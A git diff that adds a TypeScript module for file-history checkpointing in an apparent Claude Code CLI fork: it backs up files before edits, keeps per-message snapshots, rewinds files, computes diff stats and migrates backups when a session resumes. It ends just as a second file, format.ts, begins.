+import { createHash, type UUID } from 'crypto'
+import { diffLines } from 'diff'
+import type { Stats } from 'fs'
+import {
+  chmod,
+  copyFile,
+  link,
+  mkdir,
+  readFile,
+  stat,
+  unlink,
+} from 'fs/promises'
+import { dirname, isAbsolute, join, relative } from 'path'
+import {
+  getIsNonInteractiveSession,
+  getOriginalCwd,
+  getSessionId,
+} from 'src/bootstrap/state.js'
+import { logEvent } from 'src/services/analytics/index.js'
+import { notifyVscodeFileUpdated } from 'src/services/mcp/vscodeSdkMcp.js'
+import type { LogOption } from 'src/types/logs.js'
+import { inspect } from 'util'
+import { getGlobalConfig } from './config.js'
+import { logForDebugging } from './debug.js'
+import { getClaudeConfigHomeDir, isEnvTruthy } from './envUtils.js'
+import { getErrnoCode, isENOENT } from './errors.js'
+import { pathExists } from './file.js'
+import { logError } from './log.js'
+import { recordFileHistorySnapshot } from './sessionStorage.js'
+
+type BackupFileName = string | null // The null value means the file does not exist in this version
+
+export type FileHistoryBackup = {
+  backupFileName: BackupFileName
+  version: number
+  backupTime: Date
+}
+
+export type FileHistorySnapshot = {
+  messageId: UUID // The associated message ID for this snapshot
+  trackedFileBackups: Record<string, FileHistoryBackup> // Map of file paths to backup versions
+  timestamp: Date
+}
+
+export type FileHistoryState = {
+  snapshots: FileHistorySnapshot[]
+  trackedFiles: Set<string>
+  // Monotonically-increasing counter incremented on every snapshot, even when
+  // old snapshots are evicted.  Used by useGitDiffStats as an activity signal
+  // (snapshots.length plateaus once the cap is reached).
+  snapshotSequence: number
+}
+
+const MAX_SNAPSHOTS = 100
+export type DiffStats =
+  | {
+      filesChanged?: string[]
+      insertions: number
+      deletions: number
+    }
+  | undefined
+
+export function fileHistoryEnabled(): boolean {
+  if (getIsNonInteractiveSession()) {
+    return fileHistoryEnabledSdk()
+  }
+  return (
+    getGlobalConfig().fileCheckpointingEnabled !== false &&
+    !isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_FILE_CHECKPOINTING)
+  )
+}
+
+function fileHistoryEnabledSdk(): boolean {
+  return (
+    isEnvTruthy(process.env.CLAUDE_CODE_ENABLE_SDK_FILE_CHECKPOINTING) &&
+    !isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_FILE_CHECKPOINTING)
+  )
+}
+
+/**
+ * Tracks a file edit (and add) by creating a backup of its current contents (if necessary).
+ *
+ * This must be called before the file is actually added or edited, so we can save
+ * its contents before the edit.
+ */
+export async function fileHistoryTrackEdit(
+  updateFileHistoryState: (
+    updater: (prev: FileHistoryState) => FileHistoryState,
+  ) => void,
+  filePath: string,
+  messageId: UUID,
+): Promise<void> {
+  if (!fileHistoryEnabled()) {
+    return
+  }
+
+  const trackingPath = maybeShortenFilePath(filePath)
+
+  // Phase 1: check if backup is needed. Speculative writes would overwrite
+  // the deterministic {hash}@v1 backup on every repeat call — a second
+  // trackEdit after an edit would corrupt v1 with post-edit content.
+  let captured: FileHistoryState | undefined
+  updateFileHistoryState(state => {
+    captured = state
+    return state
+  })
+  if (!captured) return
+  const mostRecent = captured.snapshots.at(-1)
+  if (!mostRecent) {
+    logError(new Error('FileHistory: Missing most recent snapshot'))
+    logEvent('tengu_file_history_track_edit_failed', {})
+    return
+  }
+  if (mostRecent.trackedFileBackups[trackingPath]) {
+    // Already tracked in the most recent snapshot; next makeSnapshot will
+    // re-check mtime and re-backup if changed. Do not touch v1 backup.
+    return
+  }
+
+  // Phase 2: async backup.
+  let backup: FileHistoryBackup
+  try {
+    backup = await createBackup(filePath, 1)
+  } catch (error) {
+    logError(error)
+    logEvent('tengu_file_history_track_edit_failed', {})
+    return
+  }
+  const isAddingFile = backup.backupFileName === null
+
+  // Phase 3: commit. Re-check tracked (another trackEdit may have raced).
+  updateFileHistoryState((state: FileHistoryState) => {
+    try {
+      const mostRecentSnapshot = state.snapshots.at(-1)
+      if (
+        !mostRecentSnapshot ||
+        mostRecentSnapshot.trackedFileBackups[trackingPath]
+      ) {
+        return state
+      }
+
+      // This file has not already been tracked in the most recent snapshot, so we
+      // need to retroactively track a backup there.
+      const updatedTrackedFiles = state.trackedFiles.has(trackingPath)
+        ? state.trackedFiles
+        : new Set(state.trackedFiles).add(trackingPath)
+
+      // Shallow-spread is sufficient: backup values are never mutated after
+      // insertion, so we only need fresh top-level + trackedFileBackups refs
+      // for React change detection. A deep clone would copy every existing
+      // backup's Date/string fields — O(n) cost to add one entry.
+      const updatedMostRecentSnapshot = {
+        ...mostRecentSnapshot,
+        trackedFileBackups: {
+          ...mostRecentSnapshot.trackedFileBackups,
+          [trackingPath]: backup,
+        },
+      }
+
+      const updatedState = {
+        ...state,
+        snapshots: (() => {
+          const copy = state.snapshots.slice()
+          copy[copy.length - 1] = updatedMostRecentSnapshot
+          return copy
+        })(),
+        trackedFiles: updatedTrackedFiles,
+      }
+      maybeDumpStateForDebug(updatedState)
+
+      // Record a snapshot update since it has changed.
+      void recordFileHistorySnapshot(
+        messageId,
+        updatedMostRecentSnapshot,
+        true, // isSnapshotUpdate
+      ).catch(error => {
+        logError(new Error(`FileHistory: Failed to record snapshot: ${error}`))
+      })
+
+      logEvent('tengu_file_history_track_edit_success', {
+        isNewFile: isAddingFile,
+        version: backup.version,
+      })
+      logForDebugging(`FileHistory: Tracked file modification for ${filePath}`)
+
+      return updatedState
+    } catch (error) {
+      logError(error)
+      logEvent('tengu_file_history_track_edit_failed', {})
+      return state
+    }
+  })
+}
+
+/**
+ * Adds a snapshot in the file history and backs up any modified tracked files.
+ */
+export async function fileHistoryMakeSnapshot(
+  updateFileHistoryState: (
+    updater: (prev: FileHistoryState) => FileHistoryState,
+  ) => void,
+  messageId: UUID,
+): Promise<void> {
+  if (!fileHistoryEnabled()) {
+    return undefined
+  }
+
+  // Phase 1: capture current state with a no-op updater so we know which
+  // files to back up. Returning the same reference keeps this a true no-op
+  // for any wrapper that honors same-ref returns (src/CLAUDE.md wrapper
+  // rule). Wrappers that unconditionally spread will trigger one extra
+  // re-render; acceptable for a once-per-turn call.
+  let captured: FileHistoryState | undefined
+  updateFileHistoryState(state => {
+    captured = state
+    return state
+  })
+  if (!captured) return // updateFileHistoryState was a no-op stub (e.g. mcp.ts)
+
+  // Phase 2: do all IO async, outside the updater.
+  const trackedFileBackups: Record<string, FileHistoryBackup> = {}
+  const mostRecentSnapshot = captured.snapshots.at(-1)
+  if (mostRecentSnapshot) {
+    logForDebugging(`FileHistory: Making snapshot for message ${messageId}`)
+    await Promise.all(
+      Array.from(captured.trackedFiles, async trackingPath => {
+        try {
+          const filePath = maybeExpandFilePath(trackingPath)
+          const latestBackup =
+            mostRecentSnapshot.trackedFileBackups[trackingPath]
+          const nextVersion = latestBackup ? latestBackup.version + 1 : 1
+
+          // Stat the file once; ENOENT means the tracked file was deleted.
+          let fileStats: Stats | undefined
+          try {
+            fileStats = await stat(filePath)
+          } catch (e: unknown) {
+            if (!isENOENT(e)) throw e
+          }
+
+          if (!fileStats) {
+            trackedFileBackups[trackingPath] = {
+              backupFileName: null, // Use null to denote missing tracked file
+              version: nextVersion,
+              backupTime: new Date(),
+            }
+            logEvent('tengu_file_history_backup_deleted_file', {
+              version: nextVersion,
+            })
+            logForDebugging(
+              `FileHistory: Missing tracked file: ${trackingPath}`,
+            )
+            return
+          }
+
+          // File exists - check if it needs to be backed up
+          if (
+            latestBackup &&
+            latestBackup.backupFileName !== null &&
+            !(await checkOriginFileChanged(
+              filePath,
+              latestBackup.backupFileName,
+              fileStats,
+            ))
+          ) {
+            // File hasn't been modified since the latest version, reuse it
+            trackedFileBackups[trackingPath] = latestBackup
+            return
+          }
+
+          // File is newer than the latest backup, create a new backup
+          trackedFileBackups[trackingPath] = await createBackup(
+            filePath,
+            nextVersion,
+          )
+        } catch (error) {
+          logError(error)
+          logEvent('tengu_file_history_backup_file_failed', {})
+        }
+      }),
+    )
+  }
+
+  // Phase 3: commit the new snapshot to state. Read state.trackedFiles FRESH
+  // — if fileHistoryTrackEdit added a file during phase 2's async window, it
+  // wrote the backup to state.snapshots[-1].trackedFileBackups. Inherit those
+  // so the new snapshot covers every currently-tracked file.
+  updateFileHistoryState((state: FileHistoryState) => {
+    try {
+      const lastSnapshot = state.snapshots.at(-1)
+      if (lastSnapshot) {
+        for (const trackingPath of state.trackedFiles) {
+          if (trackingPath in trackedFileBackups) continue
+          const inherited = lastSnapshot.trackedFileBackups[trackingPath]
+          if (inherited) trackedFileBackups[trackingPath] = inherited
+        }
+      }
+      const now = new Date()
+      const newSnapshot: FileHistorySnapshot = {
+        messageId,
+        trackedFileBackups,
+        timestamp: now,
+      }
+
+      const allSnapshots = [...state.snapshots, newSnapshot]
+      const updatedState: FileHistoryState = {
+        ...state,
+        snapshots:
+          allSnapshots.length > MAX_SNAPSHOTS
+            ? allSnapshots.slice(-MAX_SNAPSHOTS)
+            : allSnapshots,
+        snapshotSequence: (state.snapshotSequence ?? 0) + 1,
+      }
+      maybeDumpStateForDebug(updatedState)
+
+      void notifyVscodeSnapshotFilesUpdated(state, updatedState).catch(logError)
+
+      // Record the file history snapshot to session storage for resume support
+      void recordFileHistorySnapshot(
+        messageId,
+        newSnapshot,
+        false, // isSnapshotUpdate
+      ).catch(error => {
+        logError(new Error(`FileHistory: Failed to record snapshot: ${error}`))
+      })
+
+      logForDebugging(
+        `FileHistory: Added snapshot for ${messageId}, tracking ${state.trackedFiles.size} files`,
+      )
+      logEvent('tengu_file_history_snapshot_success', {
+        trackedFilesCount: state.trackedFiles.size,
+        snapshotCount: updatedState.snapshots.length,
+      })
+
+      return updatedState
+    } catch (error) {
+      logError(error)
+      logEvent('tengu_file_history_snapshot_failed', {})
+      return state
+    }
+  })
+}
+
+/**
+ * Rewinds the file system to a previous snapshot.
+ */
+export async function fileHistoryRewind(
+  updateFileHistoryState: (
+    updater: (prev: FileHistoryState) => FileHistoryState,
+  ) => void,
+  messageId: UUID,
+): Promise<void> {
+  if (!fileHistoryEnabled()) {
+    return
+  }
+
+  // Rewind is a pure filesystem side-effect and does not mutate
+  // FileHistoryState. Capture state with a no-op updater, then do IO async.
+  let captured: FileHistoryState | undefined
+  updateFileHistoryState(state => {
+    captured = state
+    return state
+  })
+  if (!captured) return
+
+  const targetSnapshot = captured.snapshots.findLast(
+    snapshot => snapshot.messageId === messageId,
+  )
+  if (!targetSnapshot) {
+    logError(new Error(`FileHistory: Snapshot for ${messageId} not found`))
+    logEvent('tengu_file_history_rewind_failed', {
+      trackedFilesCount: captured.trackedFiles.size,
+      snapshotFound: false,
+    })
+    throw new Error('The selected snapshot was not found')
+  }
+
+  try {
+    logForDebugging(
+      `FileHistory: [Rewind] Rewinding to snapshot for ${messageId}`,
+    )
+    const filesChanged = await applySnapshot(captured, targetSnapshot)
+
+    logForDebugging(`FileHistory: [Rewind] Finished rewinding to ${messageId}`)
+    logEvent('tengu_file_history_rewind_success', {
+      trackedFilesCount: captured.trackedFiles.size,
+      filesChangedCount: filesChanged.length,
+    })
+  } catch (error) {
+    logError(error)
+    logEvent('tengu_file_history_rewind_failed', {
+      trackedFilesCount: captured.trackedFiles.size,
+      snapshotFound: true,
+    })
+    throw error
+  }
+}
+
+export function fileHistoryCanRestore(
+  state: FileHistoryState,
+  messageId: UUID,
+): boolean {
+  if (!fileHistoryEnabled()) {
+    return false
+  }
+
+  return state.snapshots.some(snapshot => snapshot.messageId === messageId)
+}
+
+/**
+ * Computes diff stats for a file snapshot by counting the number of files that would be changed
+ * if reverting to that snapshot.
+ */
+export async function fileHistoryGetDiffStats(
+  state: FileHistoryState,
+  messageId: UUID,
+): Promise<DiffStats> {
+  if (!fileHistoryEnabled()) {
+    return undefined
+  }
+
+  const targetSnapshot = state.snapshots.findLast(
+    snapshot => snapshot.messageId === messageId,
+  )
+
+  if (!targetSnapshot) {
+    return undefined
+  }
+
+  const results = await Promise.all(
+    Array.from(state.trackedFiles, async trackingPath => {
+      try {
+        const filePath = maybeExpandFilePath(trackingPath)
+        const targetBackup = targetSnapshot.trackedFileBackups[trackingPath]
+
+        const backupFileName: BackupFileName | undefined = targetBackup
+          ? targetBackup.backupFileName
+          : getBackupFileNameFirstVersion(trackingPath, state)
+
+        if (backupFileName === undefined) {
+          // Error resolving the backup, so don't touch the file
+          logError(
+            new Error('FileHistory: Error finding the backup file to apply'),
+          )
+          logEvent('tengu_file_history_rewind_restore_file_failed', {
+            dryRun: true,
+          })
+          return null
+        }
+
+        const stats = await computeDiffStatsForFile(
+          filePath,
+          backupFileName === null ? undefined : backupFileName,
+        )
+        if (stats?.insertions || stats?.deletions) {
+          return { filePath, stats }
+        }
+        if (backupFileName === null && (await pathExists(filePath))) {
+          // Zero-byte file created after snapshot: counts as changed even
+          // though diffLines reports 0/0.
+          return { filePath, stats }
+        }
+        return null
+      } catch (error) {
+        logError(error)
+        logEvent('tengu_file_history_rewind_restore_file_failed', {
+          dryRun: true,
+        })
+        return null
+      }
+    }),
+  )
+
+  const filesChanged: string[] = []
+  let insertions = 0
+  let deletions = 0
+  for (const r of results) {
+    if (!r) continue
+    filesChanged.push(r.filePath)
+    insertions += r.stats?.insertions || 0
+    deletions += r.stats?.deletions || 0
+  }
+  return { filesChanged, insertions, deletions }
+}
+
+/**
+ * Lightweight boolean-only check: would rewinding to this message change any
+ * file on disk? Uses the same stat/content comparison as the non-dry-run path
+ * of applySnapshot (checkOriginFileChanged) instead of computeDiffStatsForFile,
+ * so it never calls diffLines. Early-exits on the first changed file. Use when
+ * the caller only needs a yes/no answer; fileHistoryGetDiffStats remains for
+ * callers that display insertions/deletions.
+ */
+export async function fileHistoryHasAnyChanges(
+  state: FileHistoryState,
+  messageId: UUID,
+): Promise<boolean> {
+  if (!fileHistoryEnabled()) {
+    return false
+  }
+
+  const targetSnapshot = state.snapshots.findLast(
+    snapshot => snapshot.messageId === messageId,
+  )
+  if (!targetSnapshot) {
+    return false
+  }
+
+  for (const trackingPath of state.trackedFiles) {
+    try {
+      const filePath = maybeExpandFilePath(trackingPath)
+      const targetBackup = targetSnapshot.trackedFileBackups[trackingPath]
+      const backupFileName: BackupFileName | undefined = targetBackup
+        ? targetBackup.backupFileName
+        : getBackupFileNameFirstVersion(trackingPath, state)
+
+      if (backupFileName === undefined) {
+        continue
+      }
+      if (backupFileName === null) {
+        // Backup says file did not exist; probe via stat (operate-then-catch).
+        if (await pathExists(filePath)) return true
+        continue
+      }
+      if (await checkOriginFileChanged(filePath, backupFileName)) return true
+    } catch (error) {
+      logError(error)
+    }
+  }
+  return false
+}
+
+/**
+ * Applies the given file snapshot state to the tracked files (writes/deletes
+ * on disk), returning the list of changed file paths. Async IO only.
+ */
+async function applySnapshot(
+  state: FileHistoryState,
+  targetSnapshot: FileHistorySnapshot,
+): Promise<string[]> {
+  const filesChanged: string[] = []
+  for (const trackingPath of state.trackedFiles) {
+    try {
+      const filePath = maybeExpandFilePath(trackingPath)
+      const targetBackup = targetSnapshot.trackedFileBackups[trackingPath]
+
+      const backupFileName: BackupFileName | undefined = targetBackup
+        ? targetBackup.backupFileName
+        : getBackupFileNameFirstVersion(trackingPath, state)
+
+      if (backupFileName === undefined) {
+        // Error resolving the backup, so don't touch the file
+        logError(
+          new Error('FileHistory: Error finding the backup file to apply'),
+        )
+        logEvent('tengu_file_history_rewind_restore_file_failed', {
+          dryRun: false,
+        })
+        continue
+      }
+
+      if (backupFileName === null) {
+        // File did not exist at the target version; delete it if present.
+        try {
+          await unlink(filePath)
+          logForDebugging(`FileHistory: [Rewind] Deleted ${filePath}`)
+          filesChanged.push(filePath)
+        } catch (e: unknown) {
+          if (!isENOENT(e)) throw e
+          // Already absent; nothing to do.
+        }
+        continue
+      }
+
+      // File should exist at a specific version. Restore only if it differs.
+      if (await checkOriginFileChanged(filePath, backupFileName)) {
+        await restoreBackup(filePath, backupFileName)
+        logForDebugging(
+          `FileHistory: [Rewind] Restored ${filePath} from ${backupFileName}`,
+        )
+        filesChanged.push(filePath)
+      }
+    } catch (error) {
+      logError(error)
+      logEvent('tengu_file_history_rewind_restore_file_failed', {
+        dryRun: false,
+      })
+    }
+  }
+  return filesChanged
+}
+
+/**
+ * Checks if the original file has been changed compared to the backup file.
+ * Optionally reuses a pre-fetched stat for the original file (when the caller
+ * already stat'd it to check existence, we avoid a second syscall).
+ *
+ * Exported for testing.
+ */
+export async function checkOriginFileChanged(
+  originalFile: string,
+  backupFileName: string,
+  originalStatsHint?: Stats,
+): Promise<boolean> {
+  const backupPath = resolveBackupPath(backupFileName)
+
+  let originalStats: Stats | null = originalStatsHint ?? null
+  if (!originalStats) {
+    try {
+      originalStats = await stat(originalFile)
+    } catch (e: unknown) {
+      if (!isENOENT(e)) return true
+    }
+  }
+  let backupStats: Stats | null = null
+  try {
+    backupStats = await stat(backupPath)
+  } catch (e: unknown) {
+    if (!isENOENT(e)) return true
+  }
+
+  return compareStatsAndContent(originalStats, backupStats, async () => {
+    try {
+      const [originalContent, backupContent] = await Promise.all([
+        readFile(originalFile, 'utf-8'),
+        readFile(backupPath, 'utf-8'),
+      ])
+      return originalContent !== backupContent
+    } catch {
+      // File deleted between stat and read -> treat as changed.
+      return true
+    }
+  })
+}
+
+/**
+ * Shared stat/content comparison logic for sync and async change checks.
+ * Returns true if the file has changed relative to the backup.
+ */
+function compareStatsAndContent<T extends boolean | Promise<boolean>>(
+  originalStats: Stats | null,
+  backupStats: Stats | null,
+  compareContent: () => T,
+): T | boolean {
+  // One exists, one missing -> changed
+  if ((originalStats === null) !== (backupStats === null)) {
+    return true
+  }
+  // Both missing -> no change
+  if (originalStats === null || backupStats === null) {
+    return false
+  }
+
+  // Check file stats like permission and file size
+  if (
+    originalStats.mode !== backupStats.mode ||
+    originalStats.size !== backupStats.size
+  ) {
+    return true
+  }
+
+  // This is an optimization that depends on the correct setting of the modified
+  // time. If the original file's modified time was before the backup time, then
+  // we can skip the file content comparison.
+  if (originalStats.mtimeMs < backupStats.mtimeMs) {
+    return false
+  }
+
+  // Use the more expensive file content comparison. The callback handles its
+  // own read errors — a try/catch here is dead for async callbacks anyway.
+  return compareContent()
+}
+
+/**
+ * Computes the number of lines changed in the diff.
+ */
+async function computeDiffStatsForFile(
+  originalFile: string,
+  backupFileName?: string,
+): Promise<DiffStats> {
+  const filesChanged: string[] = []
+  let insertions = 0
+  let deletions = 0
+  try {
+    const backupPath = backupFileName
+      ? resolveBackupPath(backupFileName)
+      : undefined
+
+    const [originalContent, backupContent] = await Promise.all([
+      readFileAsyncOrNull(originalFile),
+      backupPath ? readFileAsyncOrNull(backupPath) : null,
+    ])
+
+    if (originalContent === null && backupContent === null) {
+      return {
+        filesChanged,
+        insertions,
+        deletions,
+      }
+    }
+
+    filesChanged.push(originalFile)
+
+    // Compute the diff
+    const changes = diffLines(originalContent ?? '', backupContent ?? '')
+    changes.forEach(c => {
+      if (c.added) {
+        insertions += c.count || 0
+      }
+      if (c.removed) {
+        deletions += c.count || 0
+      }
+    })
+  } catch (error) {
+    logError(new Error(`FileHistory: Error generating diffStats: ${error}`))
+  }
+
+  return {
+    filesChanged,
+    insertions,
+    deletions,
+  }
+}
+
+function getBackupFileName(filePath: string, version: number): string {
+  const fileNameHash = createHash('sha256')
+    .update(filePath)
+    .digest('hex')
+    .slice(0, 16)
+  return `${fileNameHash}@v${version}`
+}
+
+function resolveBackupPath(backupFileName: string, sessionId?: string): string {
+  const configDir = getClaudeConfigHomeDir()
+  return join(
+    configDir,
+    'file-history',
+    sessionId || getSessionId(),
+    backupFileName,
+  )
+}
+
+/**
+ * Creates a backup of the file at filePath. If the file does not exist
+ * (ENOENT), records a null backup (file-did-not-exist marker). All IO is
+ * async. Lazy mkdir: tries copyFile first, creates the directory on ENOENT.
+ */
+async function createBackup(
+  filePath: string | null,
+  version: number,
+): Promise<FileHistoryBackup> {
+  if (filePath === null) {
+    return { backupFileName: null, version, backupTime: new Date() }
+  }
+
+  const backupFileName = getBackupFileName(filePath, version)
+  const backupPath = resolveBackupPath(backupFileName)
+
+  // Stat first: if the source is missing, record a null backup and skip the
+  // copy. Separates "source missing" from "backup dir missing" cleanly —
+  // sharing a catch for both meant a file deleted between copyFile-success
+  // and stat would leave an orphaned backup with a null state record.
+  let srcStats: Stats
+  try {
+    srcStats = await stat(filePath)
+  } catch (e: unknown) {
+    if (isENOENT(e)) {
+      return { backupFileName: null, version, backupTime: new Date() }
+    }
+    throw e
+  }
+
+  // copyFile preserves content and avoids reading the whole file into the JS
+  // heap (which the previous readFileSync+writeFileSync pipeline did, OOMing
+  // on large tracked files). Lazy mkdir: 99% of calls hit the fast path
+  // (directory already exists); on ENOENT, mkdir then retry.
+  try {
+    await copyFile(filePath, backupPath)
+  } catch (e: unknown) {
+    if (!isENOENT(e)) throw e
+    await mkdir(dirname(backupPath), { recursive: true })
+    await copyFile(filePath, backupPath)
+  }
+
+  // Preserve file permissions on the backup.
+  await chmod(backupPath, srcStats.mode)
+
+  logEvent('tengu_file_history_backup_file_created', {
+    version: version,
+    fileSize: srcStats.size,
+  })
+
+  return {
+    backupFileName,
+    version,
+    backupTime: new Date(),
+  }
+}
+
+/**
+ * Restores a file from its backup path with proper directory creation and permissions.
+ * Lazy mkdir: tries copyFile first, creates the directory on ENOENT.
+ */
+async function restoreBackup(
+  filePath: string,
+  backupFileName: string,
+): Promise<void> {
+  const backupPath = resolveBackupPath(backupFileName)
+
+  // Stat first: if the backup is missing, log and bail before attempting
+  // the copy. Separates "backup missing" from "destination dir missing".
+  let backupStats: Stats
+  try {
+    backupStats = await stat(backupPath)
+  } catch (e: unknown) {
+    if (isENOENT(e)) {
+      logEvent('tengu_file_history_rewind_restore_file_failed', {})
+      logError(
+        new Error(`FileHistory: [Rewind] Backup file not found: ${backupPath}`),
+      )
+      return
+    }
+    throw e
+  }
+
+  // Lazy mkdir: 99% of calls hit the fast path (destination dir exists).
+  try {
+    await copyFile(backupPath, filePath)
+  } catch (e: unknown) {
+    if (!isENOENT(e)) throw e
+    await mkdir(dirname(filePath), { recursive: true })
+    await copyFile(backupPath, filePath)
+  }
+
+  // Restore the file permissions
+  await chmod(filePath, backupStats.mode)
+}
+
+/**
+ * Gets the first (earliest) backup version for a file, used when rewinding
+ * to a target backup point where the file has not been tracked yet.
+ *
+ * @returns The backup file name for the first version, or null if the file
+ * did not exist in the first version, or undefined if we cannot find a
+ * first version at all
+ */
+function getBackupFileNameFirstVersion(
+  trackingPath: string,
+  state: FileHistoryState,
+): BackupFileName | undefined {
+  for (const snapshot of state.snapshots) {
+    const backup = snapshot.trackedFileBackups[trackingPath]
+    if (backup !== undefined && backup.version === 1) {
+      // This can be either a file name or null, with null meaning the file
+      // did not exist in the first version.
+      return backup.backupFileName
+    }
+  }
+
+  // The undefined means there was an error resolving the first version.
+  return undefined
+}
+
+/**
+ * Use the relative path as the key to reduce session storage space for tracking.
+ */
+function maybeShortenFilePath(filePath: string): string {
+  if (!isAbsolute(filePath)) {
+    return filePath
+  }
+  const cwd = getOriginalCwd()
+  if (filePath.startsWith(cwd)) {
+    return relative(cwd, filePath)
+  }
+  return filePath
+}
+
+function maybeExpandFilePath(filePath: string): string {
+  if (isAbsolute(filePath)) {
+    return filePath
+  }
+  return join(getOriginalCwd(), filePath)
+}
+
+/**
+ * Restores file history snapshot state for a given log option.
+ */
+export function fileHistoryRestoreStateFromLog(
+  fileHistorySnapshots: FileHistorySnapshot[],
+  onUpdateState: (newState: FileHistoryState) => void,
+): void {
+  if (!fileHistoryEnabled()) {
+    return
+  }
+  // Make a copy of the snapshots as we migrate from absolute path to
+  // shortened relative tracking path.
+  const snapshots: FileHistorySnapshot[] = []
+  // Rebuild the tracked files from the snapshots
+  const trackedFiles = new Set<string>()
+  for (const snapshot of fileHistorySnapshots) {
+    const trackedFileBackups: Record<string, FileHistoryBackup> = {}
+    for (const [path, backup] of Object.entries(snapshot.trackedFileBackups)) {
+      const trackingPath = maybeShortenFilePath(path)
+      trackedFiles.add(trackingPath)
+      trackedFileBackups[trackingPath] = backup
+    }
+    snapshots.push({
+      ...snapshot,
+      trackedFileBackups: trackedFileBackups,
+    })
+  }
+  onUpdateState({
+    snapshots: snapshots,
+    trackedFiles: trackedFiles,
+    snapshotSequence: snapshots.length,
+  })
+}
+
+/**
+ * Copy file history snapshots for a given log option.
+ */
+export async function copyFileHistoryForResume(log: LogOption): Promise<void> {
+  if (!fileHistoryEnabled()) {
+    return
+  }
+
+  const fileHistorySnapshots = log.fileHistorySnapshots
+  if (!fileHistorySnapshots || log.messages.length === 0) {
+    return
+  }
+  const lastMessage = log.messages[log.messages.length - 1]
+  const previousSessionId = lastMessage?.sessionId
+  if (!previousSessionId) {
+    logError(
+      new Error(
+        `FileHistory: Failed to copy backups on restore (no previous session id)`,
+      ),
+    )
+    return
+  }
+
+  const sessionId = getSessionId()
+  if (previousSessionId === sessionId) {
+    logForDebugging(
+      `FileHistory: No need to copy file history for resuming with same session id: ${sessionId}`,
+    )
+    return
+  }
+
+  try {
+    // All backups share the same directory: {configDir}/file-history/{sessionId}/
+    // Create it once upfront instead of once per backup file
+    const newBackupDir = join(
+      getClaudeConfigHomeDir(),
+      'file-history',
+      sessionId,
+    )
+    await mkdir(newBackupDir, { recursive: true })
+
+    // Migrate all backup files from the previous session to current session.
+    // Process all snapshots in parallel; within each snapshot, links also run in parallel.
+    let failedSnapshots = 0
+    await Promise.allSettled(
+      fileHistorySnapshots.map(async snapshot => {
+        const backupEntries = Object.values(snapshot.trackedFileBackups).filter(
+          (backup): backup is typeof backup & { backupFileName: string } =>
+            backup.backupFileName !== null,
+        )
+
+        const results = await Promise.allSettled(
+          backupEntries.map(async ({ backupFileName }) => {
+            const oldBackupPath = resolveBackupPath(
+              backupFileName,
+              previousSessionId,
+            )
+            const newBackupPath = join(newBackupDir, backupFileName)
+
+            try {
+              await link(oldBackupPath, newBackupPath)
+            } catch (e: unknown) {
+              const code = getErrnoCode(e)
+              if (code === 'EEXIST') {
+                // Already migrated, skip
+                return
+              }
+              if (code === 'ENOENT') {
+                logError(
+                  new Error(
+                    `FileHistory: Failed to copy backup ${backupFileName} on restore (backup file does not exist in ${previousSessionId})`,
+                  ),
+                )
+                throw e
+              }
+              logError(
+                new Error(
+                  `FileHistory: Error hard linking backup file from previous session`,
+                ),
+              )
+              // Fallback to copy if hard link fails
+              try {
+                await copyFile(oldBackupPath, newBackupPath)
+              } catch (copyErr) {
+                logError(
+                  new Error(
+                    `FileHistory: Error copying over backup from previous session`,
+                  ),
+                )
+                throw copyErr
+              }
+            }
+
+            logForDebugging(
+              `FileHistory: Copied backup ${backupFileName} from session ${previousSessionId} to ${sessionId}`,
+            )
+          }),
+        )
+
+        const copyFailed = results.some(r => r.status === 'rejected')
+
+        // Record the snapshot only if we have successfully migrated the backup files
+        if (!copyFailed) {
+          void recordFileHistorySnapshot(
+            snapshot.messageId,
+            snapshot,
+            false, // isSnapshotUpdate
+          ).catch(_ => {
+            logError(
+              new Error(`FileHistory: Failed to record copy backup snapshot`),
+            )
+          })
+        } else {
+          failedSnapshots++
+        }
+      }),
+    )
+
+    if (failedSnapshots > 0) {
+      logEvent('tengu_file_history_resume_copy_failed', {
+        numSnapshots: fileHistorySnapshots.length,
+        failedSnapshots,
+      })
+    }
+  } catch (error) {
+    logError(error)
+  }
+}
+
+/**
+ * Notifies VSCode about files that have changed between snapshots.
+ * Compares the previous snapshot with the new snapshot and sends file_updated
+ * notifications for any files whose content has changed.
+ * Fire-and-forget (void-dispatched from fileHistoryMakeSnapshot).
+ */
+async function notifyVscodeSnapshotFilesUpdated(
+  oldState: FileHistoryState,
+  newState: FileHistoryState,
+): Promise<void> {
+  const oldSnapshot = oldState.snapshots.at(-1)
+  const newSnapshot = newState.snapshots.at(-1)
+
+  if (!newSnapshot) {
+    return
+  }
+
+  for (const trackingPath of newState.trackedFiles) {
+    const filePath = maybeExpandFilePath(trackingPath)
+    const oldBackup = oldSnapshot?.trackedFileBackups[trackingPath]
+    const newBackup = newSnapshot.trackedFileBackups[trackingPath]
+
+    // Skip if both backups reference the same version (no change)
+    if (
+      oldBackup?.backupFileName === newBackup?.backupFileName &&
+      oldBackup?.version === newBackup?.version
+    ) {
+      continue
+    }
+
+    // Get old content from the previous backup
+    let oldContent: string | null = null
+    if (oldBackup?.backupFileName) {
+      const backupPath = resolveBackupPath(oldBackup.backupFileName)
+      oldContent = await readFileAsyncOrNull(backupPath)
+    }
+
+    // Get new content from the new backup or current file
+    let newContent: string | null = null
+    if (newBackup?.backupFileName) {
+      const backupPath = resolveBackupPath(newBackup.backupFileName)
+      newContent = await readFileAsyncOrNull(backupPath)
+    }
+    // If newBackup?.backupFileName === null, the file was deleted; newContent stays null.
+
+    // Only notify if content actually changed
+    if (oldContent !== newContent) {
+      notifyVscodeFileUpdated(filePath, oldContent, newContent)
+    }
+  }
+}
+
+/** Async read that swallows all errors and returns null (best-effort). */
+async function readFileAsyncOrNull(path: string): Promise<string | null> {
+  try {
+    return await readFile(path, 'utf-8')
+  } catch {
+    return null
+  }
+}
+
+const ENABLE_DUMP_STATE = false
+function maybeDumpStateForDebug(state: FileHistoryState): void {
+  if (ENABLE_DUMP_STATE) {
+    // biome-ignore lint/suspicious/noConsole:: intentional console output
+    console.error(inspect(state, false, 5))
+  }
+}
diff --git a/cc-haha/src/utils/format.ts b/cc-haha/src/utils/format.ts
new file mode 100644
index 0000000..8e0b1dc
--- /dev/null
+++ b/cc-haha/src/utils/format.ts
@@ -0,0 +1,308 @@
+// Pure display formatters — leaf-safe (no Ink). Width-aware truncation lives in ./truncate.ts.
+
+import { getRelativeTimeFormat, getTimeZone } from './intl.js'
+
+/**
+ * Formats a byte count to a human-readable string (KB, MB, GB).
+ * @example formatFileSize(1536) → "1.5KB"
+ */
+export function formatFileSize(sizeInBytes: number): string {
